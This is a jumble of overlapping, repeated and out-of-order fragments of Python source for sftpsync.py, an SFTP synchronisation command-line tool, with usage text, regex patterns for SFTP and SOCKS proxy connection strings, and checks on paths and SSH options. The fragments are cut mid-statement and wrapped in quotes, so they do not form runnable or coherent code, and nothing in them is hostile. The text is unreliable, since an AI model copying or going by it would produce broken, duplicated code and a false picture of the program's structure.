_is_sftp(source): return _validate_and_parse_sftp(source) if _is_path(source): return _validate_is_readable_path(source) raise", "timestamps.', '-F config_file Specifies an alternative per-user configuration file.', ' If a configuration", "if not key or not value: raise ValueError('Invalid SSH option: \"%s\".' % option)", "be ignored.', ' The default for the per-user configuration file is ~/.ssh/config.', '-h/--help", "os.access(os.path.abspath(path), os.R_OK): raise ValueError('Invalid path. \"%s\" exists but user \"%s\" does NOT have", "match = re.search(pattern, connection_string) if not match: raise ValueError(error_message) return dict((key, value) for", "the progress meter as well as warning and diagnostic messages from ssh(1).', '-r/--recursive:", "but NOT both at the same time.') if len(args) != 2: raise ValueError('Please", "%s.' % (len(args), args)) (source, destination) = args config['source'] = _validate_source(source) config['destination'] =", "= option.split('=', 1) if '=' in option else option.split(' ', 1) if not", "GetoptError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) except ValueError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) def _validate_private_key_path(path):", "debugging messages about their progress. This is helpful in debugging connection, authentication, and", "command line, the system-wide configuration file (/etc/ssh/ssh_config) will be ignored.', ' The default", "_PROXY_PATTERN, 'Invalid proxy: \"%s\".' % proxy) def _validate_and_parse_sftp(sftp): return _validate_and_parse_connection_string(sftp, _SFTP_PATTERN, 'Invalid SFTP", "except ValueError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) def _validate_private_key_path(path): if not path: raise ValueError('Invalid", "def _is_sftp(sftp): return re.search(_SFTP_PATTERN, sftp) def _is_path(path): return re.search(_PATH_PATTERN, path) def _validate_is_readable_path(path): if", "is SOCKS5.', '-q/--quiet: Quiet mode: disables the progress meter as well as warning", "' password: <PASSWORD>', ' port: 22', ' path: /', '', 'Options:', '-f/--force Force", "opt == '--proxy': config['proxy'] = _validate_and_parse_socks_proxy(value) if opt == '--proxy-version': config['proxy_version'] = _validate_and_parse_socks_proxy_version(value)", "config['recursive'] = True if opt in ('-v', '--verbose'): config['verbose'] = True if opt", "_validate_ssh_option(value) config['ssh_options'][k] = v if config['verbose'] and config['quiet']: raise ValueError('Please provide either -q/--quiet", "config['ssh_options'][k] = v if config['verbose'] and config['quiet']: raise ValueError('Please provide either -q/--quiet OR", "path def _validate_ssh_option(option, white_list=['ProxyCommand']): key_value = option.split('=', 1) if '=' in option else", "path: \"%s\". Please provide a valid path to your private key.' % path)", "_PORT = 'port' _PATH = 'path' _DRIVE = 'drive' _FILEPATH = 'filepath' _PATTERNS", "or raises exception if no match. ''' match = re.search(pattern, connection_string) if not", "is helpful in debugging connection, authentication, and configuration problems.', '' ])) def configure(argv):", "value: raise ValueError('Invalid SSH option: \"%s\".' % option) if key not in white_list:", "key_value or not len(key_value) == 2: raise ValueError('Invalid SSH option: \"%s\".' % option)", "% (_group(_DRIVE), _group(_FILEPATH)) def _validate_and_parse_socks_proxy(proxy): return _validate_and_parse_connection_string(proxy, _PROXY_PATTERN, 'Invalid proxy: \"%s\".' % proxy)", "ERROR_ILLEGAL_ARGUMENTS = 2 def usage(error_message=None): if error_message: sys.stderr.write('ERROR: ' + error_message + linesep)", "'Options:', '-f/--force Force the synchronization regardless of files\\' presence or timestamps.', '-F config_file", "% path) return path def _validate_ssh_config_path(path): if not path: raise ValueError('Invalid path: \"%s\".", "= '^s?ftp://(%s(:%s)?@)?%s(:%s)?%s?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT), _group(_PATH)) _PATH_PATTERN = '^%s?%s$' % (_group(_DRIVE),", "path. \"%s\" does NOT exist.' % path) if not os.access(os.path.abspath(path), os.R_OK): raise ValueError('Invalid", "progress meter as well as warning and diagnostic messages from ssh(1).', '-r/--recursive: Recursively", "argv, exit import os from os import linesep from getopt import getopt, GetoptError", "to a local, existing and readable folder: %s.' % source) def _validate_destination(destination): if", "2: raise ValueError('Please provide a source and a destination. Expected 2 arguments but", "[user[:password]@]host[:port]', ' SOCKS proxy to use. If not provided, port will be defaulted", "config['force'] = True if opt in ('-p', '--preserve'): config['preserve'] = True if opt", "% (key, ', '.join(white_list))) return key, value _USER = 'user' _PASS = '<PASSWORD>'", "provided connection string against the provided pattern into a dictionary, if there is", "(_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT)) _SFTP_PATTERN = '^s?ftp://(%s(:%s)?@)?%s(:%s)?%s?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT), _group(_PATH))", "use. If not provided, port will be defaulted to 1080.', '--proxy-version SOCKS4|SOCKS5', '", "True if opt in ('-r', '--recursive'): config['recursive'] = True if opt in ('-v',", "exit(ERROR_ILLEGAL_ARGUMENTS) def _validate_private_key_path(path): if not path: raise ValueError('Invalid path: \"%s\". Please provide a", "command-line flag.', ' For full details of the options listed below, and their", "readable folder: %s.' % source) def _validate_destination(destination): if _is_sftp(destination): return _validate_and_parse_sftp(destination) if _is_path(destination):", "sys.stderr.write('ERROR: ' + error_message + linesep) sys.stdout.write(linesep.join([ 'Usage:', ' sftpsync.py [OPTION]... SOURCE DESTINATION',", "config['verbose'] and config['quiet']: raise ValueError('Please provide either -q/--quiet OR -v/--verbose, but NOT both", "', '.join(white_list))) return key, value _USER = 'user' _PASS = '<PASSWORD>' _HOST =", "_SFTP_PATTERN = '^s?ftp://(%s(:%s)?@)?%s(:%s)?%s?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT), _group(_PATH)) _PATH_PATTERN = '^%s?%s$' %", "The default for the per-user configuration file is ~/.ssh/config.', '-h/--help Prints this!', '-i/--identity", "provide a source and a destination. Expected 2 arguments but got %s: %s.'", "in ('-v', '--verbose'): config['verbose'] = True if opt in ('-i', '--identity'): config['private_key'] =", "% source) def _validate_destination(destination): if _is_sftp(destination): return _validate_and_parse_sftp(destination) if _is_path(destination): return _validate_is_writable_path(destination) raise", "' SOCKS proxy to use. If not provided, port will be defaulted to", "''' match = re.search(pattern, connection_string) if not match: raise ValueError(error_message) return dict((key, value)", "to ssh in the format used in ssh_config(5). This is useful for specifying", "their possible values, see ssh_config(5).', ' ProxyCommand', '-p/--preserve: Preserves modification times, access times,", "socks.SOCKS5, 'ssh_config' : '~/.ssh/config', 'ssh_options': {}, } opts, args = getopt(argv, 'fF:hi:o:pqrv', ['force',", "'proxy-version=', 'quiet', 'recursive', 'verbose']) for opt, value in opts: if opt in ('-h',", "source and a destination. Expected 2 arguments but got %s: %s.' % (len(args),", "ValueError('Invalid path: \"%s\". Please provide a valid path to your SSH configuration.' %", "'^s?ftp://(%s(:%s)?@)?%s(:%s)?%s?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT), _group(_PATH)) _PATH_PATTERN = '^%s?%s$' % (_group(_DRIVE), _group(_FILEPATH))", "' ProxyCommand', '-p/--preserve: Preserves modification times, access times, and modes from the original", "_HOST: r'[\\w\\-\\.]{3,}?', _PORT: r'|\\d{1,4}|6553[0-5]|655[0-2]\\d|65[0-4]\\d{2}|6[0-4]\\d{3}|[0-5]\\d{4}', _PATH: r'/.*', _DRIVE: r'[a-zA-Z]{1}:', _FILEPATH: r'.*?', } def _group(name,", "For full details of the options listed below, and their possible values, see", "path) def _validate_is_readable_path(path): if not os.path.exists(path): raise ValueError('Invalid path. \"%s\" does NOT exist.'", "the original file.', '--proxy [user[:password]@]host[:port]', ' SOCKS proxy to use. If not provided,", "if socks_version not in white_list: raise ValueError('Invalid SOCKS proxy version: \"%s\". Please choose", "pattern into a dictionary, if there is a match, or raises exception if", "if opt == '--proxy-version': config['proxy_version'] = _validate_and_parse_socks_proxy_version(value) if opt == '-F': config['ssh_config'] =", "r'.+?', _HOST: r'[\\w\\-\\.]{3,}?', _PORT: r'|\\d{1,4}|6553[0-5]|655[0-2]\\d|65[0-4]\\d{2}|6[0-4]\\d{3}|[0-5]\\d{4}', _PATH: r'/.*', _DRIVE: r'[a-zA-Z]{1}:', _FILEPATH: r'.*?', } def", "_group(_PORT), _group(_PATH)) _PATH_PATTERN = '^%s?%s$' % (_group(_DRIVE), _group(_FILEPATH)) def _validate_and_parse_socks_proxy(proxy): return _validate_and_parse_connection_string(proxy, _PROXY_PATTERN,", "match, or raises exception if no match. ''' match = re.search(pattern, connection_string) if", "== '-F': config['ssh_config'] = _validate_ssh_config_path(value) if opt == '-o': k, v = _validate_ssh_option(value)", "Please choose one of the following values: { %s }.' % (socks_version, ',", ": '~/.ssh/config', 'ssh_options': {}, } opts, args = getopt(argv, 'fF:hi:o:pqrv', ['force', 'help', 'identity=',", "OR -v/--verbose, but NOT both at the same time.') if len(args) != 2:", "raise ValueError('Invalid SSH option: \"%s\".' % option) if key not in white_list: raise", "to 1080.', '--proxy-version SOCKS4|SOCKS5', ' Version of the SOCKS protocol to use. Default", "_validate_and_parse_socks_proxy_version(socks_version, white_list=['SOCKS4', 'SOCKS5']): if socks_version not in white_list: raise ValueError('Invalid SOCKS proxy version:", "' Can be used to pass options to ssh in the format used", "which there is no separate sftpsync command-line flag.', ' For full details of", "string against the provided pattern into a dictionary, if there is a match,", "if _is_path(destination): return _validate_is_writable_path(destination) raise ValueError('Invalid destination. Please provide either SFTP connection details", "/path/to/local/copy [s]ftp://[user[:password]@]host[:port][/path]', '', 'Defaults:', ' user: anonymous', ' password: <PASSWORD>', ' port: 22',", "(/etc/ssh/ssh_config) will be ignored.', ' The default for the per-user configuration file is", "in match.groupdict().items() if value) def _validate_and_parse_socks_proxy_version(socks_version, white_list=['SOCKS4', 'SOCKS5']): if socks_version not in white_list:", "'Defaults:', ' user: anonymous', ' password: <PASSWORD>', ' port: 22', ' path: /',", "are currently supported: %s.' % (key, ', '.join(white_list))) return key, value _USER =", "}.' % (socks_version, ', '.join(white_list))) return eval('socks.%s' % socks_version) def _validate_source(source): if _is_sftp(source):", "file from which the identity (private key) for public key authentication is read.',", "identity (private key) for public key authentication is read.', '-o ssh_option', ' Can", "(source, destination) = args config['source'] = _validate_source(source) config['destination'] = _validate_destination(destination) return config except", "connection details or a path to a local, existing and writable folder: %s.'", "% destination) def _is_sftp(sftp): return re.search(_SFTP_PATTERN, sftp) def _is_path(path): return re.search(_PATH_PATTERN, path) def", "as well as warning and diagnostic messages from ssh(1).', '-r/--recursive: Recursively synchronize entire", "\"%s\".' % option) key, value = key_value if not key or not value:", "print debugging messages about their progress. This is helpful in debugging connection, authentication,", "exists but user \"%s\" does NOT have read access.' % (path, getuser())) return", "exit(ERROR_ILLEGAL_ARGUMENTS) except ValueError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) def _validate_private_key_path(path): if not path: raise", "error_message: sys.stderr.write('ERROR: ' + error_message + linesep) sys.stdout.write(linesep.join([ 'Usage:', ' sftpsync.py [OPTION]... SOURCE", "_DRIVE: r'[a-zA-Z]{1}:', _FILEPATH: r'.*?', } def _group(name, patterns=_PATTERNS): return '(?P<%s>%s)' % (name, patterns[name])", "useful for specifying options for which there is no separate sftpsync command-line flag.',", "(private key) for public key authentication is read.', '-o ssh_option', ' Can be", "choose one of the following values: { %s }.' % (socks_version, ', '.join(white_list)))", "_is_sftp(destination): return _validate_and_parse_sftp(destination) if _is_path(destination): return _validate_is_writable_path(destination) raise ValueError('Invalid destination. Please provide either", "not key_value or not len(key_value) == 2: raise ValueError('Invalid SSH option: \"%s\".' %", "from sys import argv, exit import os from os import linesep from getopt", "# Default configuration: config = { 'force': False, 'preserve': False, 'quiet': False, 'recursive':", "path) if not os.access(os.path.abspath(path), os.W_OK): raise ValueError('Invalid path. \"%s\" exists but user \"%s\"", "= True if opt in ('-p', '--preserve'): config['preserve'] = True if opt in", "'help', 'identity=', 'preserve', 'proxy=', 'proxy-version=', 'quiet', 'recursive', 'verbose']) for opt, value in opts:", "usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) except ValueError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) def _validate_private_key_path(path): if not path:", "os import linesep from getopt import getopt, GetoptError import re import socks from", "is read.', '-o ssh_option', ' Can be used to pass options to ssh", "times, and modes from the original file.', '--proxy [user[:password]@]host[:port]', ' SOCKS proxy to", "not os.path.exists(path): raise ValueError('Invalid path: \"%s\". Provided path does NOT exist. Please provide", "'.join(white_list))) return eval('socks.%s' % socks_version) def _validate_source(source): if _is_sftp(source): return _validate_and_parse_sftp(source) if _is_path(source):", "ValueError('Invalid source. Please provide either SFTP connection details or a path to a", "local, existing and writable folder: %s.' % destination) def _is_sftp(sftp): return re.search(_SFTP_PATTERN, sftp)", "for public key authentication is read.', '-o ssh_option', ' Can be used to", "def configure(argv): try: # Default configuration: config = { 'force': False, 'preserve': False,", "If not provided, port will be defaulted to 1080.', '--proxy-version SOCKS4|SOCKS5', ' Version", "opt in ('-f', '--force'): config['force'] = True if opt in ('-p', '--preserve'): config['preserve']", "if opt in ('-q', '--quiet'): config['quiet'] = True if opt in ('-r', '--recursive'):", "ValueError('Invalid path. \"%s\" exists but user \"%s\" does NOT have write access.' %", "'Usage:', ' sftpsync.py [OPTION]... SOURCE DESTINATION', 'Pull:', ' sftpsync.py [OPTION]... [s]ftp://[user[:password]@]host[:port][/path] /path/to/local/copy', 'Push:',", "Prints this!', '-i/--identity identity_file', ' Selects the file from which the identity (private", "except GetoptError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) except ValueError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) def", "Recursively synchronize entire directories.', '-v/--verbose: Verbose mode. Causes sftpsync to print debugging messages", "_HOST = 'host' _PORT = 'port' _PATH = 'path' _DRIVE = 'drive' _FILEPATH", "if opt == '-o': k, v = _validate_ssh_option(value) config['ssh_options'][k] = v if config['verbose']", "a local, existing and readable folder: %s.' % source) def _validate_destination(destination): if _is_sftp(destination):", "the synchronization regardless of files\\' presence or timestamps.', '-F config_file Specifies an alternative", "'^%s?%s$' % (_group(_DRIVE), _group(_FILEPATH)) def _validate_and_parse_socks_proxy(proxy): return _validate_and_parse_connection_string(proxy, _PROXY_PATTERN, 'Invalid proxy: \"%s\".' %", "(_group(_DRIVE), _group(_FILEPATH)) def _validate_and_parse_socks_proxy(proxy): return _validate_and_parse_connection_string(proxy, _PROXY_PATTERN, 'Invalid proxy: \"%s\".' % proxy) def", "return path def _validate_ssh_option(option, white_list=['ProxyCommand']): key_value = option.split('=', 1) if '=' in option", "r'|\\d{1,4}|6553[0-5]|655[0-2]\\d|65[0-4]\\d{2}|6[0-4]\\d{3}|[0-5]\\d{4}', _PATH: r'/.*', _DRIVE: r'[a-zA-Z]{1}:', _FILEPATH: r'.*?', } def _group(name, patterns=_PATTERNS): return '(?P<%s>%s)'", "in ('-h', '--help'): usage() exit() if opt in ('-f', '--force'): config['force'] = True", "= _validate_ssh_config_path(value) if opt == '-o': k, v = _validate_ssh_option(value) config['ssh_options'][k] = v", "os.R_OK): raise ValueError('Invalid path. \"%s\" exists but user \"%s\" does NOT have read", "if not os.access(os.path.abspath(path), os.R_OK): raise ValueError('Invalid path. \"%s\" exists but user \"%s\" does", "writable folder: %s.' % destination) def _is_sftp(sftp): return re.search(_SFTP_PATTERN, sftp) def _is_path(path): return", "'user' _PASS = '<PASSWORD>' _HOST = 'host' _PORT = 'port' _PATH = 'path'", "opt == '--proxy-version': config['proxy_version'] = _validate_and_parse_socks_proxy_version(value) if opt == '-F': config['ssh_config'] = _validate_ssh_config_path(value)", "format used in ssh_config(5). This is useful for specifying options for which there", "SOURCE DESTINATION', 'Pull:', ' sftpsync.py [OPTION]... [s]ftp://[user[:password]@]host[:port][/path] /path/to/local/copy', 'Push:', ' sftpsync.py [OPTION]... /path/to/local/copy", "authentication is read.', '-o ssh_option', ' Can be used to pass options to", "path) return path def _validate_ssh_config_path(path): if not path: raise ValueError('Invalid path: \"%s\". Please", "the identity (private key) for public key authentication is read.', '-o ssh_option', '", "connection, authentication, and configuration problems.', '' ])) def configure(argv): try: # Default configuration:", "True if opt in ('-v', '--verbose'): config['verbose'] = True if opt in ('-i',", "' If a configuration file is given on the command line, the system-wide", "sftpsync.py [OPTION]... [s]ftp://[user[:password]@]host[:port][/path] /path/to/local/copy', 'Push:', ' sftpsync.py [OPTION]... /path/to/local/copy [s]ftp://[user[:password]@]host[:port][/path]', '', 'Defaults:', '", "destination. Please provide either SFTP connection details or a path to a local,", "configuration file.', ' If a configuration file is given on the command line,", "'private_key': None, 'proxy': None, 'proxy_version': socks.SOCKS5, 'ssh_config' : '~/.ssh/config', 'ssh_options': {}, } opts,", "and config['quiet']: raise ValueError('Please provide either -q/--quiet OR -v/--verbose, but NOT both at", "does NOT exist.' % path) if not os.access(os.path.abspath(path), os.R_OK): raise ValueError('Invalid path. \"%s\"", "if value) def _validate_and_parse_socks_proxy_version(socks_version, white_list=['SOCKS4', 'SOCKS5']): if socks_version not in white_list: raise ValueError('Invalid", "supported: %s.' % (key, ', '.join(white_list))) return key, value _USER = 'user' _PASS", "ValueError('Invalid SOCKS proxy version: \"%s\". Please choose one of the following values: {", "a valid path to your SSH configuration.' % path) if not os.path.exists(path): raise", "'-o ssh_option', ' Can be used to pass options to ssh in the", "e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) def _validate_private_key_path(path): if not path: raise ValueError('Invalid path: \"%s\". Please", "'-p/--preserve: Preserves modification times, access times, and modes from the original file.', '--proxy", "not len(key_value) == 2: raise ValueError('Invalid SSH option: \"%s\".' % option) key, value", "SFTP connection details or a path to a local, existing and readable folder:", "in white_list: raise ValueError('Unsupported SSH option: \"%s\". Only the following SSH options are", "''' Parses the provided connection string against the provided pattern into a dictionary,", "your private key.' % path) if not os.path.exists(path): raise ValueError('Invalid path: \"%s\". Provided", "path: raise ValueError('Invalid path: \"%s\". Please provide a valid path to your private", "directories.', '-v/--verbose: Verbose mode. Causes sftpsync to print debugging messages about their progress.", "os from os import linesep from getopt import getopt, GetoptError import re import", "path. \"%s\" does NOT exist.' % path) if not os.access(os.path.abspath(path), os.W_OK): raise ValueError('Invalid", "if opt in ('-i', '--identity'): config['private_key'] = _validate_private_key_path(value) if opt == '--proxy': config['proxy']", "-v/--verbose, but NOT both at the same time.') if len(args) != 2: raise", "def _validate_ssh_option(option, white_list=['ProxyCommand']): key_value = option.split('=', 1) if '=' in option else option.split('", "key_value = option.split('=', 1) if '=' in option else option.split(' ', 1) if", "a valid path to your SSH configuration.' % path) return path def _validate_ssh_option(option,", "options to ssh in the format used in ssh_config(5). This is useful for", "def _validate_destination(destination): if _is_sftp(destination): return _validate_and_parse_sftp(destination) if _is_path(destination): return _validate_is_writable_path(destination) raise ValueError('Invalid destination.", "of files\\' presence or timestamps.', '-F config_file Specifies an alternative per-user configuration file.',", "modification times, access times, and modes from the original file.', '--proxy [user[:password]@]host[:port]', '", "if opt in ('-v', '--verbose'): config['verbose'] = True if opt in ('-i', '--identity'):", "path to your SSH configuration.' % path) if not os.path.exists(path): raise ValueError('Invalid path:", "\"%s\". Only the following SSH options are currently supported: %s.' % (key, ',", "ssh(1).', '-r/--recursive: Recursively synchronize entire directories.', '-v/--verbose: Verbose mode. Causes sftpsync to print", "if opt == '-F': config['ssh_config'] = _validate_ssh_config_path(value) if opt == '-o': k, v", "path. \"%s\" exists but user \"%s\" does NOT have read access.' % (path,", "Please provide a valid path to your SSH configuration.' % path) if not", "' sftpsync.py [OPTION]... [s]ftp://[user[:password]@]host[:port][/path] /path/to/local/copy', 'Push:', ' sftpsync.py [OPTION]... /path/to/local/copy [s]ftp://[user[:password]@]host[:port][/path]', '', 'Defaults:',", "'.join(white_list))) return key, value _USER = 'user' _PASS = '<PASSWORD>' _HOST = 'host'", "path: /', '', 'Options:', '-f/--force Force the synchronization regardless of files\\' presence or", "if opt in ('-r', '--recursive'): config['recursive'] = True if opt in ('-v', '--verbose'):", "path def _validate_is_writable_path(path): if not os.path.exists(path): raise ValueError('Invalid path. \"%s\" does NOT exist.'", "option) key, value = key_value if not key or not value: raise ValueError('Invalid", "'', 'Defaults:', ' user: anonymous', ' password: <PASSWORD>', ' port: 22', ' path:", "exit() if opt in ('-f', '--force'): config['force'] = True if opt in ('-p',", "if opt == '--proxy': config['proxy'] = _validate_and_parse_socks_proxy(value) if opt == '--proxy-version': config['proxy_version'] =", "'--recursive'): config['recursive'] = True if opt in ('-v', '--verbose'): config['verbose'] = True if", "at the same time.') if len(args) != 2: raise ValueError('Please provide a source", "one of the following values: { %s }.' % (socks_version, ', '.join(white_list))) return", "path to a local, existing and writable folder: %s.' % destination) def _is_sftp(sftp):", "import getuser ERROR_ILLEGAL_ARGUMENTS = 2 def usage(error_message=None): if error_message: sys.stderr.write('ERROR: ' + error_message", "exception if no match. ''' match = re.search(pattern, connection_string) if not match: raise", "\"%s\". Please provide a valid path to your SSH configuration.' % path) if", "Default is SOCKS5.', '-q/--quiet: Quiet mode: disables the progress meter as well as", "in opts: if opt in ('-h', '--help'): usage() exit() if opt in ('-f',", "k, v = _validate_ssh_option(value) config['ssh_options'][k] = v if config['verbose'] and config['quiet']: raise ValueError('Please", "source) def _validate_destination(destination): if _is_sftp(destination): return _validate_and_parse_sftp(destination) if _is_path(destination): return _validate_is_writable_path(destination) raise ValueError('Invalid", "configuration file is ~/.ssh/config.', '-h/--help Prints this!', '-i/--identity identity_file', ' Selects the file", "(key, value) in match.groupdict().items() if value) def _validate_and_parse_socks_proxy_version(socks_version, white_list=['SOCKS4', 'SOCKS5']): if socks_version not", "getopt, GetoptError import re import socks from getpass import getuser ERROR_ILLEGAL_ARGUMENTS = 2", "in option else option.split(' ', 1) if not key_value or not len(key_value) ==", "path to a local, existing and readable folder: %s.' % source) def _validate_destination(destination):", "import os from os import linesep from getopt import getopt, GetoptError import re", "used in ssh_config(5). This is useful for specifying options for which there is", "NOT exist.' % path) if not os.access(os.path.abspath(path), os.W_OK): raise ValueError('Invalid path. \"%s\" exists", "])) def configure(argv): try: # Default configuration: config = { 'force': False, 'preserve':", "ValueError('Please provide a source and a destination. Expected 2 arguments but got %s:", "getpass import getuser ERROR_ILLEGAL_ARGUMENTS = 2 def usage(error_message=None): if error_message: sys.stderr.write('ERROR: ' +", "Please provide either SFTP connection details or a path to a local, existing", "= 'path' _DRIVE = 'drive' _FILEPATH = 'filepath' _PATTERNS = { _USER: r'.+?',", "% path) if not os.access(os.path.abspath(path), os.R_OK): raise ValueError('Invalid path. \"%s\" exists but user", "This is useful for specifying options for which there is no separate sftpsync", "_group(_HOST), _group(_PORT)) _SFTP_PATTERN = '^s?ftp://(%s(:%s)?@)?%s(:%s)?%s?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT), _group(_PATH)) _PATH_PATTERN =", "(path, getuser())) return path def _validate_is_writable_path(path): if not os.path.exists(path): raise ValueError('Invalid path. \"%s\"", "return config except GetoptError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) except ValueError as e: usage(str(e))", "return _validate_and_parse_connection_string(proxy, _PROXY_PATTERN, 'Invalid proxy: \"%s\".' % proxy) def _validate_and_parse_sftp(sftp): return _validate_and_parse_connection_string(sftp, _SFTP_PATTERN,", "'--help'): usage() exit() if opt in ('-f', '--force'): config['force'] = True if opt", "file (/etc/ssh/ssh_config) will be ignored.', ' The default for the per-user configuration file", "path) return path def _validate_ssh_option(option, white_list=['ProxyCommand']): key_value = option.split('=', 1) if '=' in", "on the command line, the system-wide configuration file (/etc/ssh/ssh_config) will be ignored.', '", "flag.', ' For full details of the options listed below, and their possible", "eval('socks.%s' % socks_version) def _validate_source(source): if _is_sftp(source): return _validate_and_parse_sftp(source) if _is_path(source): return _validate_is_readable_path(source)", "'--quiet'): config['quiet'] = True if opt in ('-r', '--recursive'): config['recursive'] = True if", "v = _validate_ssh_option(value) config['ssh_options'][k] = v if config['verbose'] and config['quiet']: raise ValueError('Please provide", "given on the command line, the system-wide configuration file (/etc/ssh/ssh_config) will be ignored.',", "for which there is no separate sftpsync command-line flag.', ' For full details", "SOCKS4|SOCKS5', ' Version of the SOCKS protocol to use. Default is SOCKS5.', '-q/--quiet:", "ignored.', ' The default for the per-user configuration file is ~/.ssh/config.', '-h/--help Prints", "config['quiet'] = True if opt in ('-r', '--recursive'): config['recursive'] = True if opt", "or not len(key_value) == 2: raise ValueError('Invalid SSH option: \"%s\".' % option) key,", "r'[a-zA-Z]{1}:', _FILEPATH: r'.*?', } def _group(name, patterns=_PATTERNS): return '(?P<%s>%s)' % (name, patterns[name]) _PROXY_PATTERN", "return '(?P<%s>%s)' % (name, patterns[name]) _PROXY_PATTERN = '^(%s(:%s)?@)?%s(:%s)?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT))", "_group(_PATH)) _PATH_PATTERN = '^%s?%s$' % (_group(_DRIVE), _group(_FILEPATH)) def _validate_and_parse_socks_proxy(proxy): return _validate_and_parse_connection_string(proxy, _PROXY_PATTERN, 'Invalid", "', '.join(white_list))) return eval('socks.%s' % socks_version) def _validate_source(source): if _is_sftp(source): return _validate_and_parse_sftp(source) if", "= _validate_and_parse_socks_proxy(value) if opt == '--proxy-version': config['proxy_version'] = _validate_and_parse_socks_proxy_version(value) if opt == '-F':", "return path def _validate_is_writable_path(path): if not os.path.exists(path): raise ValueError('Invalid path. \"%s\" does NOT", "Selects the file from which the identity (private key) for public key authentication", "in debugging connection, authentication, and configuration problems.', '' ])) def configure(argv): try: #", "the options listed below, and their possible values, see ssh_config(5).', ' ProxyCommand', '-p/--preserve:", "r'[\\w\\-\\.]{3,}?', _PORT: r'|\\d{1,4}|6553[0-5]|655[0-2]\\d|65[0-4]\\d{2}|6[0-4]\\d{3}|[0-5]\\d{4}', _PATH: r'/.*', _DRIVE: r'[a-zA-Z]{1}:', _FILEPATH: r'.*?', } def _group(name, patterns=_PATTERNS):", "_PATH: r'/.*', _DRIVE: r'[a-zA-Z]{1}:', _FILEPATH: r'.*?', } def _group(name, patterns=_PATTERNS): return '(?P<%s>%s)' %", "and writable folder: %s.' % destination) def _is_sftp(sftp): return re.search(_SFTP_PATTERN, sftp) def _is_path(path):", "(name, patterns[name]) _PROXY_PATTERN = '^(%s(:%s)?@)?%s(:%s)?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT)) _SFTP_PATTERN = '^s?ftp://(%s(:%s)?@)?%s(:%s)?%s?$'", "path does NOT exist. Please provide a valid path to your private key.'", "'verbose']) for opt, value in opts: if opt in ('-h', '--help'): usage() exit()", "= True if opt in ('-v', '--verbose'): config['verbose'] = True if opt in", "'filepath' _PATTERNS = { _USER: r'.+?', _PASS: r'.+?', _HOST: r'[\\w\\-\\.]{3,}?', _PORT: r'|\\d{1,4}|6553[0-5]|655[0-2]\\d|65[0-4]\\d{2}|6[0-4]\\d{3}|[0-5]\\d{4}', _PATH:", "path) if not os.access(os.path.abspath(path), os.R_OK): raise ValueError('Invalid path. \"%s\" exists but user \"%s\"", "sftpsync.py [OPTION]... /path/to/local/copy [s]ftp://[user[:password]@]host[:port][/path]', '', 'Defaults:', ' user: anonymous', ' password: <PASSWORD>', '", "Verbose mode. Causes sftpsync to print debugging messages about their progress. This is", "key, value _USER = 'user' _PASS = '<PASSWORD>' _HOST = 'host' _PORT =", "= _validate_ssh_option(value) config['ssh_options'][k] = v if config['verbose'] and config['quiet']: raise ValueError('Please provide either", "option.split(' ', 1) if not key_value or not len(key_value) == 2: raise ValueError('Invalid", "len(key_value) == 2: raise ValueError('Invalid SSH option: \"%s\".' % option) key, value =", "time.') if len(args) != 2: raise ValueError('Please provide a source and a destination.", "destination) = args config['source'] = _validate_source(source) config['destination'] = _validate_destination(destination) return config except GetoptError", "_is_sftp(sftp): return re.search(_SFTP_PATTERN, sftp) def _is_path(path): return re.search(_PATH_PATTERN, path) def _validate_is_readable_path(path): if not", "% proxy) def _validate_and_parse_sftp(sftp): return _validate_and_parse_connection_string(sftp, _SFTP_PATTERN, 'Invalid SFTP connection details: \"%s\".' %", "[OPTION]... [s]ftp://[user[:password]@]host[:port][/path] /path/to/local/copy', 'Push:', ' sftpsync.py [OPTION]... /path/to/local/copy [s]ftp://[user[:password]@]host[:port][/path]', '', 'Defaults:', ' user:", "a path to a local, existing and writable folder: %s.' % destination) def", "' sftpsync.py [OPTION]... /path/to/local/copy [s]ftp://[user[:password]@]host[:port][/path]', '', 'Defaults:', ' user: anonymous', ' password: <PASSWORD>',", "or timestamps.', '-F config_file Specifies an alternative per-user configuration file.', ' If a", "Expected 2 arguments but got %s: %s.' % (len(args), args)) (source, destination) =", "' sftpsync.py [OPTION]... SOURCE DESTINATION', 'Pull:', ' sftpsync.py [OPTION]... [s]ftp://[user[:password]@]host[:port][/path] /path/to/local/copy', 'Push:', '", "True if opt in ('-p', '--preserve'): config['preserve'] = True if opt in ('-q',", "\"%s\" does NOT exist.' % path) if not os.access(os.path.abspath(path), os.R_OK): raise ValueError('Invalid path.", "getuser())) return path def _validate_is_writable_path(path): if not os.path.exists(path): raise ValueError('Invalid path. \"%s\" does", "a configuration file is given on the command line, the system-wide configuration file", "the command line, the system-wide configuration file (/etc/ssh/ssh_config) will be ignored.', ' The", "read.', '-o ssh_option', ' Can be used to pass options to ssh in", "key or not value: raise ValueError('Invalid SSH option: \"%s\".' % option) if key", "\"%s\" does NOT have read access.' % (path, getuser())) return path def _validate_is_writable_path(path):", "full details of the options listed below, and their possible values, see ssh_config(5).',", "will be defaulted to 1080.', '--proxy-version SOCKS4|SOCKS5', ' Version of the SOCKS protocol", "path: \"%s\". Provided path does NOT exist. Please provide a valid path to", "%s.' % destination) def _is_sftp(sftp): return re.search(_SFTP_PATTERN, sftp) def _is_path(path): return re.search(_PATH_PATTERN, path)", "pattern, error_message): ''' Parses the provided connection string against the provided pattern into", "from getopt import getopt, GetoptError import re import socks from getpass import getuser", "not match: raise ValueError(error_message) return dict((key, value) for (key, value) in 